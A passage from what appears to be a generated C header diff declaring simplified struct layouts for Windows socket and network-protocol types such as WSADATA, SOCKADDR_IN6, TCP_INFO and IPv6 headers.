SERVICE_TYPE_INFO; + +typedef struct _INET_PORT_RESERVATION_INFORMATION { + unsigned int OwningPid; +} INET_PORT_RESERVATION_INFORMATION; + +typedef struct _NETRESOURCE2A { + unsigned int dwScope; + unsigned int dwType; + unsigned int dwUsage; + unsigned int dwDisplayType; + void* lpLocalName; + void* lpRemoteName; + void* lpComment; + void* ns_info; + void* ServiceType; + unsigned int dwProtocols; + void* lpiProtocols; +} NETRESOURCE2A; + +typedef struct _NL_INTERFACE_OFFLOAD_ROD { + unsigned char _bitfield; +} NL_INTERFACE_OFFLOAD_ROD; + +typedef struct _SERVICE_ADDRESSES { + unsigned int dwAddressCount; + void* Addresses[1]; +} SERVICE_ADDRESSES; + +typedef struct _IPV6_HEADER { + void* Anonymous; + unsigned short PayloadLength; + unsigned char NextHeader; + unsigned char HopLimit; + void* SourceAddress; + void* DestinationAddress; +} IPV6_HEADER; + +typedef struct _IPV6_OPTION_JUMBOGRAM { + void* Header; + unsigned char JumbogramLength[4]; +} IPV6_OPTION_JUMBOGRAM; + +typedef struct _ND_OPTION_DNSSL { + unsigned char nd_opt_dnssl_type; + unsigned char nd_opt_dnssl_len; + unsigned short nd_opt_dnssl_reserved; + unsigned int nd_opt_dnssl_lifetime; +} ND_OPTION_DNSSL; + +typedef struct _ND_OPTION_PREF64 { + unsigned char nd_opt_p64_type; + unsigned char nd_opt_p64_len; + void* Anonymous; + unsigned char nd_opt_p64_prefix[12]; +} ND_OPTION_PREF64; + +typedef struct _GROUP_SOURCE_REQ { + unsigned int gsr_interface; + void* gsr_group; + void* gsr_source; +} GROUP_SOURCE_REQ; + +typedef struct _TRANSMIT_PACKETS_ELEMENT { + unsigned int dwElFlags; + unsigned int cLength; + void* Anonymous; +} TRANSMIT_PACKETS_ELEMENT; + +typedef struct _ADDRINFOEX5 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; + void* ai_resolutionhandle; + unsigned int ai_ttl; +} ADDRINFOEX5; + +typedef struct _SOCKADDR_STORAGE { + void* ss_family; + unsigned char __ss_pad1[6]; + long long __ss_align; + unsigned char __ss_pad2[112]; +} SOCKADDR_STORAGE; + +typedef struct _SERVICE_TYPE_INFO_ABSA { + void* lpTypeName; + unsigned int dwValueCount; + void* Values[1]; +} SERVICE_TYPE_INFO_ABSA; + +typedef struct _SOCK_NOTIFY_REGISTRATION { + void* socket; + void* completionKey; + unsigned short eventFilter; + unsigned char operation; + unsigned char triggerFlags; + unsigned int registrationResult; +} SOCK_NOTIFY_REGISTRATION; + +typedef struct _WSAQUERYSET2A { + unsigned int dwSize; + void* lpszServiceInstanceName; + void* lpVersion; + void* lpszComment; + unsigned int dwNameSpace; + void* lpNSProviderId; + void* lpszContext; + unsigned int dwNumberOfProtocols; + void* lpafpProtocols; + void* lpszQueryString; + unsigned int dwNumberOfCsAddrs; + void* lpcsaBuffer; + unsigned int dwOutputFlags; + void* lpBlob; +} WSAQUERYSET2A; + +typedef struct _LINGER { + unsigned short l_onoff; + unsigned short l_linger; +} LINGER; + +typedef struct _ETHERNET_HEADER { + void* Destination; + void* Source; + void* Anonymous; +} ETHERNET_HEADER; + +typedef struct _ND_OPTION_HDR { + unsigned char nd_opt_type; + unsigned char nd_opt_len; +} ND_OPTION_HDR; + +typedef struct _REAL_TIME_NOTIFICATION_SETTING_INPUT_EX { + void* TransportSettingId; + void* BrokerEventGuid; + BOOL Unmark; +} REAL_TIME_NOTIFICATION_SETTING_INPUT_EX; + +typedef struct _TCP_OPT_SACK { + unsigned char Kind; + unsigned char Length; + void* Block[1]; +} TCP_OPT_SACK; + +typedef struct _ATM_CAUSE_IE { + unsigned char Location; + unsigned char Cause; + unsigned char DiagnosticsLength; + unsigned char Diagnostics[4]; +} ATM_CAUSE_IE; + +typedef struct _LM_IRPARMS { + unsigned int nTXDataBytes; + unsigned int nRXDataBytes; + unsigned int nBaudRate; + unsigned int thresholdTime; + unsigned int discTime; + unsigned short nMSLinkTurn; + unsigned char nTXPackets; + unsigned char nRXPackets; +} LM_IRPARMS; + +typedef struct _INTERFACE_INFO_EX { + unsigned int iiFlags; + void* iiAddress; + void* iiBroadcastAddress; + void* iiNetmask; +} INTERFACE_INFO_EX; + +typedef struct _FD_SET { + unsigned int fd_count; + void* fd_array[64]; +} FD_SET; + +typedef struct _FLOWSPEC { + unsigned int TokenRate; + unsigned int TokenBucketSize; + unsigned int PeakBandwidth; + unsigned int Latency; + unsigned int DelayVariation; + unsigned int ServiceType; + unsigned int MaxSduSize; + unsigned int MinimumPolicedSize; +} FLOWSPEC; + +typedef struct _IPX_SPXCONNSTATUS_DATA { + unsigned char ConnectionState; + unsigned char WatchDogActive; + unsigned short LocalConnectionId; + unsigned short RemoteConnectionId; + unsigned short LocalSequenceNumber; + unsigned short LocalAckNumber; + unsigned short LocalAllocNumber; + unsigned short RemoteAckNumber; + unsigned short RemoteAllocNumber; + unsigned short LocalSocket; + unsigned char ImmediateAddress[6]; + unsigned char RemoteNetwork[4]; + unsigned char RemoteNode[6]; + unsigned short RemoteSocket; + unsigned short RetransmissionCount; + unsigned short EstimatedRoundTripDelay; + unsigned short RetransmittedPackets; + unsigned short SuppressedPacket; +} IPX_SPXCONNSTATUS_DATA; + +typedef struct _VLAN_TAG { + void* Anonymous; + unsigned short Type; +} VLAN_TAG; + +typedef struct _INTERFACE_INFO { + unsigned int iiFlags; + void* iiAddress; + void* iiBroadcastAddress; + void* iiNetmask; +} INTERFACE_INFO; + +typedef struct _SOCKET_SECURITY_QUERY_TEMPLATE { + void* SecurityProtocol; + void* PeerAddress; + unsigned int PeerTokenAccessMask; +} SOCKET_SECURITY_QUERY_TEMPLATE; + +typedef struct _RM_SENDER_STATS { + unsigned long long DataBytesSent; + unsigned long long TotalBytesSent; + unsigned long long NaksReceived; + unsigned long long NaksReceivedTooLate; + unsigned long long NumOutstandingNaks; + unsigned long long NumNaksAfterRData; + unsigned long long RepairPacketsSent; + unsigned long long BufferSpaceAvailable; + unsigned long long TrailingEdgeSeqId; + unsigned long long LeadingEdgeSeqId; + unsigned long long RateKBitsPerSecOverall; + unsigned long long RateKBitsPerSecLast; + unsigned long long TotalODataPacketsSent; +} RM_SENDER_STATS; + +typedef struct _WSPUPCALLTABLE { + void* lpWPUCloseEvent; + void* lpWPUCloseSocketHandle; + void* lpWPUCreateEvent; + void* lpWPUCreateSocketHandle; + void* lpWPUFDIsSet; + void* lpWPUGetProviderPath; + void* lpWPUModifyIFSHandle; + void* lpWPUPostMessage; + void* lpWPUQueryBlockingCallback; + void* lpWPUQuerySocketHandleContext; + void* lpWPUQueueApc; + void* lpWPUResetEvent; + void* lpWPUSetEvent; + void* lpWPUOpenCurrentThread; + void* lpWPUCloseThread; +} WSPUPCALLTABLE; + +typedef struct _TCP_OPT_SACK_PERMITTED { + unsigned char Kind; + unsigned char Length; +} TCP_OPT_SACK_PERMITTED; + +typedef struct _DL_TEREDO_ADDRESS_PRV { + unsigned char Reserved[6]; + void* Anonymous; +} DL_TEREDO_ADDRESS_PRV; + +typedef struct _IPV6_OPTION_HEADER { + unsigned char Type; + unsigned char DataLength; +} IPV6_OPTION_HEADER; + +typedef struct _WCE_DEVICELIST { + unsigned int numDevice; + void* Device[1]; +} WCE_DEVICELIST; + +typedef struct _IPV6_ROUTING_HEADER { + unsigned char NextHeader; + unsigned char Length; + unsigned char RoutingType; + unsigned char SegmentsLeft; + unsigned char Reserved[4]; +} IPV6_ROUTING_HEADER; + +typedef struct _ND_OPTION_ROUTE_INFO { + unsigned char nd_opt_ri_type; + unsigned char nd_opt_ri_len; + unsigned char nd_opt_ri_prefix_len; + void* Anonymous; + unsigned int nd_opt_ri_route_lifetime; + void* nd_opt_ri_prefix; +} ND_OPTION_ROUTE_INFO; + +typedef struct _RCVALL_IF { + void* Mode; + unsigned int Interface; +} RCVALL_IF; + +typedef struct _MLDV2_REPORT_RECORD_HEADER { + unsigned char Type; + unsigned char AuxillaryDataLength; + unsigned short SourceCount; + void* MulticastAddress; +} MLDV2_REPORT_RECORD_HEADER; + +typedef struct _WSPPROC_TABLE { + void* lpWSPAccept; + void* lpWSPAddressToString; + void* lpWSPAsyncSelect; + void* lpWSPBind; + void* lpWSPCancelBlockingCall; + void* lpWSPCleanup; + void* lpWSPCloseSocket; + void* lpWSPConnect; + void* lpWSPDuplicateSocket; + void* lpWSPEnumNetworkEvents; + void* lpWSPEventSelect; + void* lpWSPGetOverlappedResult; + void* lpWSPGetPeerName; + void* lpWSPGetSockName; + void* lpWSPGetSockOpt; + void* lpWSPGetQOSByName; + void* lpWSPIoctl; + void* lpWSPJoinLeaf; + void* lpWSPListen; + void* lpWSPRecv; + void* lpWSPRecvDisconnect; + void* lpWSPRecvFrom; + void* lpWSPSelect; + void* lpWSPSend; + void* lpWSPSendDisconnect; + void* lpWSPSendTo; + void* lpWSPSetSockOpt; + void* lpWSPShutdown; + void* lpWSPSocket; + void* lpWSPStringToAddress; +} WSPPROC_TABLE; + +typedef struct _TCP_INFO_v2 { + void* State; + unsigned int Mss; + unsigned long long ConnectionTimeMs; + BOOL TimestampsEnabled; + unsigned int RttUs; + unsigned int MinRttUs; + unsigned int BytesInFlight; + unsigned int Cwnd; + unsigned int SndWnd; + unsigned int RcvWnd; + unsigned int RcvBuf; + unsigned long long BytesOut; + unsigned long long BytesIn; + unsigned int BytesReordered; + unsigned int BytesRetrans; + unsigned int FastRetrans; + unsigned int DupAcksIn; + unsigned int TimeoutEpisodes; + unsigned char SynRetrans; + unsigned int SndLimTransRwin; + unsigned int SndLimTimeRwin; + unsigned long long SndLimBytesRwin; + unsigned int SndLimTransCwnd; + unsigned int SndLimTimeCwnd; + unsigned long long SndLimBytesCwnd; + unsigned int SndLimTransSnd; + unsigned int SndLimTimeSnd; + unsigned long long SndLimBytesSnd; + unsigned int OutOfOrderPktsIn; + BOOL EcnNegotiated; + unsigned int EceAcksIn; + unsigned int PtoEpisodes; +} TCP_INFO_v2; + +typedef struct _ATM_BLLI_IE { + unsigned int Layer2Protocol; + unsigned char Layer2Mode; + unsigned char Layer2WindowSize; + unsigned int Layer2UserSpecifiedProtocol; + unsigned int Layer3Protocol; + unsigned char Layer3Mode; + unsigned char Layer3DefaultPacketSize; + unsigned char Layer3PacketWindowSize; + unsigned int Layer3UserSpecifiedProtocol; + unsigned int Layer3IPI; + unsigned char SnapID[5]; +} ATM_BLLI_IE; + +typedef struct _WSANAMESPACE_INFOEXW { + void* NSProviderId; + unsigned int dwNameSpace; + BOOL fActive; + unsigned int dwVersion; + void* lpszIdentifier; + void* ProviderSpecific; +} WSANAMESPACE_INFOEXW; + +typedef struct _WINDOWS_IAS_QUERY { + unsigned char irdaDeviceID[4]; + unsigned char irdaClassName[64]; + unsigned char irdaAttribName[256]; + unsigned int irdaAttribType; + void* irdaAttribute; +} WINDOWS_IAS_QUERY; + +typedef struct _NL_BANDWIDTH_INFORMATION { + unsigned long long Bandwidth; + unsigned long long Instability; + BOOL BandwidthPeaked; +} NL_BANDWIDTH_INFORMATION; + +typedef struct _NSPV2_ROUTINE { + unsigned int cbSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + void* NSPv2Startup; + void* NSPv2Cleanup; + void* NSPv2LookupServiceBegin; + void* NSPv2LookupServiceNextEx; + void* NSPv2LookupServiceEnd; + void* NSPv2SetServiceEx; + void* NSPv2ClientSessionRundown; +} NSPV2_ROUTINE; + +typedef struct _NL_NETWORK_CONNECTIVITY_HINT { + void* ConnectivityLevel; + void* ConnectivityCost; + BOOL ApproachingDataLimit; + BOOL OverDataLimit; + BOOL Roaming; +} NL_NETWORK_CONNECTIVITY_HINT; + +typedef struct _SOCKADDR_IPX { + short sa_family; + unsigned char sa_netnum[4]; + unsigned char sa_nodenum[6]; + unsigned short sa_socket; +} SOCKADDR_IPX; + +typedef struct _MLD_HEADER { + void* IcmpHeader; + unsigned short MaxRespTime; + unsigned short Reserved; + void* MulticastAddress; +} MLD_HEADER; + +typedef struct _WSADATA { + unsigned short wVersion; + unsigned short wHighVersion; + unsigned short iMaxSockets; + unsigned short iMaxUdpDg; + void* lpVendorInfo; + unsigned char szDescription[257]; + unsigned char szSystemStatus[129]; +} WSADATA; + +typedef struct _WSADATA { + unsigned short wVersion; + unsigned short wHighVersion; + unsigned char szDescription[257]; + unsigned char szSystemStatus[129]; + unsigned short iMaxSockets; + unsigned short iMaxUdpDg; + void* lpVendorInfo; +} WSADATA; + +typedef struct _WSAVERSION { + unsigned int dwVersion; + void* ecHow; +} WSAVERSION; + +typedef struct _sockaddr_gen { + void* Address; + void* AddressIn; + void* AddressIn6; +} sockaddr_gen; + +typedef struct _SOCKADDR_IN6 { + void* sin6_family; + unsigned short sin6_port; + unsigned int sin6_flowinfo; + void* sin6_addr; + void* Anonymous; +} SOCKADDR_IN6; + +typedef struct _DL_OUI { + unsigned char Byte[3]; + void* Anonymous; +} DL_OUI; + +typedef struct _WSAPROTOCOLCHAIN { + int ChainLen; + unsigned int ChainEntries[7]; +} WSAPROTOCOLCHAIN; + +typedef struct _RIO_RQ { + long long Value; +} RIO_RQ; + +typedef struct _ADDRINFOEX7 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; + void* ai_resolutionhandle; + unsigned int ai_ttl; + unsigned int ai_numservers; + void* ai_servers; + unsigned long long ai_responseflags; + unsigned long long ai_extraflags; +} ADDRINFOEX7; + +typedef struct _ADDRINFOEX3 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; +} ADDRINFOEX3; + +typedef struct _WSPDATA { + unsigned short wVersion; + unsigned short wHighVersion; + unsigned short szDescription[256]; +} WSPDATA; + +typedef struct _INET_PORT_RESERVATION_TOKEN { + unsigned long long Token; +} INET_PORT_RESERVATION_TOKEN; + +typedef struct _SOCKADDR_IN6_PAIR { + void* SourceAddress; + void* DestinationAddress; +} SOCKADDR_IN6_PAIR; + +typedef struct _PROTOCOL_INFOW { + unsigned int dwServiceFlags; + int iAddressFamily; + int iMaxSockAddr; + int iMinSockAddr; + int iSocketType; + int iProtocol; + unsigned int dwMessageSize; + void* lpProtocol; +} PROTOCOL_INFOW; + +typedef struct _SERVICE_ASYNC_INFO { + void* lpServiceCallbackProc; + void* lParam; + void* hAsyncTaskHandle; +} SERVICE_ASYNC_INFO; + +typedef struct _WSABUF { + unsigned int len; + void* buf; +} WSABUF; + +typedef struct _TCP_INFO_v0 { + void* State; + unsigned int Mss; + unsigned long long ConnectionTimeMs; + BOOL TimestampsEnabled; + unsigned int RttUs; + unsigned int MinRttUs; + unsigned int BytesInFlight; + unsigned int Cwnd; + unsigned int SndWnd; + unsigned int RcvWnd; + unsigned int RcvBuf; + unsigned long long BytesOut; + unsigned long long BytesIn; + unsigned int BytesReordered; + unsigned int BytesRetrans; + unsigned int FastRetrans; + unsigned int DupAcksIn; + unsigned int TimeoutEpisodes; + unsigned char SynRetrans; +} TCP_INFO_v0; + +typedef struct _RIO_BUF { + void* BufferId; + unsigned int Offset; + unsigned int Length; +} RIO_BUF; + +typedef struct _CMSGHDR { + unsigned long long cmsg_len; + int cmsg_level; + int cmsg_type; +} CMSGHDR; + +typedef struct _NS_INFOW { + unsigned int dwNameSpace; + unsigned int dwNameSpaceFlags; + void* lpNameSpace; +} NS_INFOW; + +typedef struct _ASSOCIATE_NAMERES_CONTEXT_INPUT { + void* TransportSettingId; + unsigned long long Handle; +} ASSOCIATE_NAMERES_CONTEXT_INPUT; + +typedef struct _AAL_PARAMETERS_IE { + void* AALType; + void* AALSpecificParameters; +} AAL_PARAMETERS_IE; + +typedef struct _IPV6_EXTENSION_HEADER { + unsigned char NextHeader; + unsigned char Length; +} IPV6_EXTENSION_HEADER; + +typedef struct _SNAP_HEADER { + unsigned char Dsap; + unsigned char Ssap; + unsigned char Control; + unsigned char Oui[3]; + unsigned short Type; +} SNAP_HEADER; + +typedef struct _ND_ROUTER_ADVERT_HEADER { + void* nd_ra_hdr; + unsigned int nd_ra_reachable; + unsigned int nd_ra_retransmit; +} ND_ROUTER_ADVERT_HEADER; + +typedef struct _ND_OPTION_RDNSS { + unsigned char nd_opt_rdnss_type; + unsigned char nd_opt_rdnss_len; + unsigned short nd_opt_rdnss_reserved; + unsigned int nd_opt_rdnss_lifetime; +} ND_OPTION_RDNSS; + +typedef struct _ATM_ADDRESS { + unsigned int AddressType; + unsigned int NumofDigits; + unsigned char Addr[20]; +} ATM_ADDRESS; + +typedef struct _IPTLS_METADATA { + unsigned long long SequenceNumber; +} IPTLS_METADATA; + +typedef struct _IGMP_HEADER { + void* Anonymous1; + void* Anonymous2; + unsigned short Checksum; + void* MulticastAddress; +} IGMP_HEADER; + +typedef struct _AAL5_PARAMETERS { + unsigned int ForwardMaxCPCSSDUSize; + unsigned int BackwardMaxCPCSSDUSize; + unsigned char Mode; + unsigned char SSCSType; +} AAL5_PARAMETERS; + +typedef struct _NLA_BLOB { + void* header; + void* data; +} NLA_BLOB; + +typedef struct _WSAPOLLFD { + void* fd; + void* events; + void* revents; +} WSAPOLLFD; + +typedef struct _ATM_TD { + unsigned int PeakCellRate_CLP0; + unsigned int PeakCellRate_CLP01; + unsigned int SustainableCellRate_CLP0; + unsigned int SustainableCellRate_CLP01; + unsigned int MaxBurstSize_CLP0; + unsigned int MaxBurstSize_CLP01; + BOOL Tagging; +} ATM_TD; + +typedef struct _AALUSER_PARAMETERS { + unsigned int UserDefined; +} AALUSER_PARAMETERS; + +typedef struct _IN_PKTINFO_EX { + void* pkt_info; + void* scope_id; +} IN_PKTINFO_EX; + +typedef struct _WSAMSG { + void* name; + int namelen; + void* lpBuffers; + unsigned int dwBufferCount; + void* Control; + unsigned int dwFlags; +} WSAMSG; + +typedef struct _ADDRINFO_DNS_SERVER { + unsigned int ai_servertype; + unsigned long long ai_flags; + unsigned int ai_addrlen; + void* ai_addr; + void* Anonymous; +} ADDRINFO_DNS_SERVER; + +typedef struct _SOCKADDR_VNS { + unsigned short sin_family; + unsigned char net_address[4]; + unsigned char subnet_addr[2]; + unsigned char port[2]; + unsigned char hops; + unsigned char filler[5]; +} SOCKADDR_VNS; + +typedef struct _RIO_NOTIFICATION_COMPLETION { + void* Type; + void* Anonymous; +} RIO_NOTIFICATION_COMPLETION; + +typedef struct _DL_TUNNEL_ADDRESS { + void* CompartmentId; + void* ScopeId; + unsigned char IpAddress[1]; +} DL_TUNNEL_ADDRESS; + +typedef struct _SERVICE_ADDRESS { + unsigned int dwAddressType; + unsigned int dwAddressFlags; + unsigned int dwAddressLength; + unsigned int dwPrincipalLength; + void* lpAddress; + void* lpPrincipal; +} SERVICE_ADDRESS; + +typedef struct _QOS { + void* SendingFlowspec; + void* ReceivingFlowspec; + void* ProviderSpecific; +} QOS; + +typedef struct _SOCKADDR_INET { + void* Ipv4; + void* Ipv6; + void* si_family; +} SOCKADDR_INET; + +typedef struct _WCE_IRDA_DEVICE_INFO { + unsigned char irdaDeviceID[4]; + unsigned char irdaDeviceName[22]; + unsigned char Reserved[2]; +} WCE_IRDA_DEVICE_INFO; + +typedef struct _SOCKADDR_UN { + void* sun_family; + unsigned char sun_path[108]; +} SOCKADDR_UN; + +typedef struct _ICMP_HEADER { + unsigned char Type; + unsigned char Code; + unsigned short Checksum; +} ICMP_HEADER; + +typedef struct _DL_TEREDO_ADDRESS { + unsigned char Reserved[6]; + void* Anonymous; +} DL_TEREDO_ADDRESS; + +typedef struct _NS_SERVICE_INFOA { + unsigned int dwNameSpace; + void* ServiceInfo; +} NS_SERVICE_INFOA; + +typedef struct _SOCKET_ADDRESS_LIST { + int iAddressCount; + void* Address[1]; +} SOCKET_ADDRESS_LIST; + +typedef struct _RM_FEC_INFO { + unsigned short FECBlockSize; + unsigned short FECProActivePackets; + unsigned char FECGroupSize; + BOOL fFECOnDemandParityEnabled; +} RM_FEC_INFO; + +typedef struct _IN_ADDR { + void* S_un; +} IN_ADDR; + +typedef struct _SOCKADDR_IN6_W2KSP1 { + short sin6_family; + unsigned short sin6_port; + unsigned int sin6_flowinfo; + void* sin6_addr; + unsigned int sin6_scope_id; +} SOCKADDR_IN6_W2KSP1; + +typedef struct _IN6_PKTINFO { + void* ipi6_addr; + unsigned int ipi6_ifindex; +} IN6_PKTINFO; + +typedef struct _CSADDR_INFO { + void* LocalAddr; + void* RemoteAddr; + int iSocketType; + int iProtocol; +} CSADDR_INFO; + +typedef struct _SOCKET { + unsigned long long Value; +} SOCKET; + +typedef struct _WINDOWS_DEVICELIST { + unsigned int numDevice; + void* Device[1]; +} WINDOWS_DEVICELIST; + +typedef struct _TCP_ICW_PARAMETERS { + void* Level; +} TCP_ICW_PARAMETERS; + +typedef struct _WSATHREADID { + void* ThreadHandle; + unsigned long long Reserved; +} WSATHREADID; + +typedef struct _WSAQUERYSETA { + unsigned int dwSize; + void* lpszServiceInstanceName; + void* lpServiceClassId; + void* lpVersion; + void* lpszComment; + unsigned int dwNameSpace; + void* lpNSProviderId; + void* lpszContext; + unsigned int dwNumberOfProtocols; + void* lpafpProtocols; + void* lpszQueryString; + unsigned int dwNumberOfCsAddrs; + void* lpcsaBuffer; + unsigned int dwOutputFlags; + void* lpBlob; +} WSAQUERYSETA; + +typedef struct _TCP_OPT_FASTOPEN { + unsigned char Kind; + unsigned char Length; + unsigned char Cookie[1]; +} TCP_OPT_FASTOPEN; + +typedef struct _SOCKADDR_DL { + void* sdl_family; + unsigned char sdl_data[8]; + unsigned char sdl_zero[4]; +} SOCKADDR_DL; + +typedef struct _ATM_QOS_CLASS_IE { + unsigned char QOSClassForward; + unsigned char QOSClassBackward; +} ATM_QOS_CLASS_IE; + +typedef struct _ICMP_ERROR_INFO { + void* srcaddress; + void* protocol; + unsigned char type; + unsigned char code; +} ICMP_ERROR_INFO; + +typedef struct _WSA_COMPATIBILITY_MODE { + void* BehaviorId; + unsigned int TargetOsVersion; +} WSA_COMPATIBILITY_MODE; + +typedef struct _INET_PORT_RANGE { + unsigned short StartPort; + unsigned short NumberOfPorts; +} INET_PORT_RANGE; + +typedef struct _DL_EUI64 { + unsigned char Byte[8]; + unsigned long long Value; + void* Anonymous; +} DL_EUI64; + +typedef struct _IN6_ADDR { + void* u; +} IN6_ADDR; + +typedef struct _netent { + void* n_name; + void* n_aliases; + short n_addrtype; + unsigned int n_net; +} netent; + +typedef struct _ATM_CONNECTION_ID { + unsigned int DeviceNumber; + unsigned int VPI; + unsigned int VCI; +} ATM_CONNECTION_ID; + +typedef struct _WSASERVICECLASSINFOA { + void* lpServiceClassId; + void* lpszServiceClassName; + unsigned int dwCount; + void* lpClassInfos; +} WSASERVICECLASSINFOA; + +typedef struct _PRIORITY_STATUS { + void* Sender; + void* Receiver; +} PRIORITY_STATUS; + +typedef struct _IP_MSFILTER { + void* imsf_multiaddr; + void* imsf_interface; + void* imsf_fmode; + unsigned int imsf_numsrc; + void* imsf_slist[1]; +} IP_MSFILTER; + +typedef struct _WSASERVICECLASSINFOW { + void* lpServiceClassId; + void* lpszServiceClassName; + unsigned int dwCount; + void* lpClassInfos; +} WSASERVICECLASSINFOW; + +typedef struct _WSANAMESPACE_INFOA { + void* NSProviderId; + unsigned int dwNameSpace; + BOOL fActive; + unsigned int dwVersion; + void* lpszIdentifier; +} WSANAMESPACE_INFOA; + +typedef struct _TCP_INFO_v1 { + void* State; + unsigned int Mss; + unsigned long long ConnectionTimeMs; + BOOL TimestampsEnabled; + unsigned int RttUs; + unsigned int MinRttUs; + unsigned int BytesInFlight; + unsigned int Cwnd; + unsigned int SndWnd; + unsigned int RcvWnd; + unsigned int RcvBuf; + unsigned long long BytesOut; + unsigned long long BytesIn; + unsigned int BytesReordered; + unsigned int BytesRetrans; + unsigned int FastRetrans; + unsigned int DupAcksIn; + unsigned int TimeoutEpisodes; + unsigned char SynRetrans; + unsigned int SndLimTransRwin; + unsigned int SndLimTimeRwin; + unsigned long long SndLimBytesRwin; + unsigned int SndLimTransCwnd; + unsigned int SndLimTimeCwnd; + unsigned long long SndLimBytesCwnd; + unsigned int SndLimTransSnd; + unsigned int SndLimTimeSnd; + unsigned long long SndLimBytesSnd; +} TCP_INFO_v1; + +typedef struct _RIO_EXTENSION_FUNCTION_TABLE { + unsigned int cbSize; + void* RIOReceive; + void* RIOReceiveEx; + void* RIOSend; + void* RIOSendEx; + void* RIOCloseCompletionQueue; + void* RIOCreateCompletionQueue; + void* RIOCreateRequestQueue; + void* RIODequeueCompletion; + void* RIODeregisterBuffer; + void* RIONotify; + void* RIORegisterBuffer; + void* RIOResizeCompletionQueue; + void* RIOResizeRequestQueue; +} RIO_EXTENSION_FUNCTION_TABLE; + +typedef struct _IP_MREQ_SOURCE { + void* imr_multiaddr; + void* imr_sourceaddr; + void* imr_interface; +} IP_MREQ_SOURCE; + +typedef struct _SOCKET_PROCESSOR_AFFINITY { + void* Processor; + unsigned short NumaNodeId; + unsigned short Reserved; +} SOCKET_PROCESSOR_AFFINITY; + +typedef struct _SERVICE_TYPE_INFO_ABSW { + void* lpTypeName; + unsigned int dwValueCount; + void* Values[1]; +} SERVICE_TYPE_INFO_ABSW; + +typedef struct _ARP_HEADER { + unsigned short HardwareAddressSpace; + unsigned short ProtocolAddressSpace; + unsigned char HardwareAddressLength; + unsigned char ProtocolAddressLength; + unsigned short Opcode; + unsigned char SenderHardwareAddress[1]; +} ARP_HEADER; + +typedef struct _INET_PORT_RESERVATION_INSTANCE { + void* Reservation; + void* Token; +} INET_PORT_RESERVATION_INSTANCE; + +typedef struct _ICMPV4_ROUTER_ADVERT_HEADER { + void* RaHeader; +} ICMPV4_ROUTER_ADVERT_HEADER; + +typedef struct _TCP_OPT_UNKNOWN { + unsigned char Kind; + unsigned char Length; +} TCP_OPT_UNKNOWN; + +typedef struct _SCOPE_ID { + void* Anonymous; +} SCOPE_ID; + +typedef struct _IPX_ADDRESS_DATA { + int adapternum; + unsigned char netnum[4]; + unsigned char nodenum[6]; + BOOL wan; + BOOL status; + int maxpkt; + unsigned int linkspeed; +} IPX_ADDRESS_DATA; + +typedef struct _SOCKADDR_IRDA { + unsigned short irdaAddressFamily; + unsigned char irdaDeviceID[4]; + unsigned char irdaServiceName[25]; +} SOCKADDR_IRDA; + +typedef struct _REAL_TIME_NOTIFICATION_SETTING_OUTPUT { + void* ChannelStatus; +} REAL_TIME_NOTIFICATION_SETTING_OUTPUT; + +typedef struct _SOCKET_SECURITY_QUERY_INFO { + void* SecurityProtocol; + unsigned int Flags; + unsigned long long PeerApplicationAccessTokenHandle; + unsigned long long PeerMachineAccessTokenHandle; +} SOCKET_SECURITY_QUERY_INFO; + +typedef struct _SOCKADDR { + void* sa_family; + unsigned char sa_data[14]; +} SOCKADDR; + +typedef struct _DL_EUI48 { + unsigned char Byte[6]; + void* Anonymous; +} DL_EUI48; + +typedef struct _SERVICE_TYPE_VALUE_ABSW { + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + void* lpValueName; + void* lpValue; +} SERVICE_TYPE_VALUE_ABSW; + +typedef struct _ND_OPTION_RD_HDR { + unsigned char nd_opt_rh_type; + unsigned char nd_opt_rh_len; + unsigned short nd_opt_rh_reserved1; + unsigned int nd_opt_rh_reserved2; +} ND_OPTION_RD_HDR; + +typedef struct _PROTOCOL_INFOA { + unsigned int dwServiceFlags; + int iAddressFamily; + int iMaxSockAddr; + int iMinSockAddr; + int iSocketType; + int iProtocol; + unsigned int dwMessageSize; + void* lpProtocol; +} PROTOCOL_INFOA; + +typedef struct _TIMESTAMPING_CONFIG { + unsigned int Flags; + unsigned short TxTimestampsBuffered; +} TIMESTAMPING_CONFIG; + +typedef struct _socklen_t { + int Value; +} socklen_t; + +typedef struct _SOCKET_PEER_TARGET_NAME { + void* SecurityProtocol; + void* PeerAddress; + unsigned int PeerTargetNameStringLen; + unsigned short AllStrings[1]; +} SOCKET_PEER_TARGET_NAME; + +typedef struct _WSAPROTOCOL_INFOW { + unsigned int dwServiceFlags1; + unsigned int dwServiceFlags2; + unsigned int dwServiceFlags3; + unsigned int dwServiceFlags4; + unsigned int dwProviderFlags; + void* ProviderId; + unsigned int dwCatalogEntryId; + void* ProtocolChain; + int iVersion; + int iAddressFamily; + int iMaxSockAddr; + int iMinSockAddr; + int iSocketType; + int iProtocol; + int iProtocolMaxOffset; + int iNetworkByteOrder; + int iSecurityScheme; + unsigned int dwMessageSize; + unsigned int dwProviderReserved; + unsigned short szProtocol[256]; +} WSAPROTOCOL_INFOW; + +typedef struct _WINDOWS_IAS_SET { + unsigned char irdaClassName[64]; + unsigned char irdaAttribName[256]; + unsigned int irdaAttribType; + void* irdaAttribute; +} WINDOWS_IAS_SET; + +typedef struct _REAL_TIME_NOTIFICATION_SETTING_INPUT { + void* TransportSettingId; + void* BrokerEventGuid; +} REAL_TIME_NOTIFICATION_SETTING_INPUT; + +typedef struct _ATM_BHLI { + unsigned int HighLayerInfoType; + unsigned int HighLayerInfoLength; + unsigned char HighLayerInfo[8]; +} ATM_BHLI; + +typedef struct _WSANSCLASSINFOA { + void* lpszName; + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + void* lpValue; +} 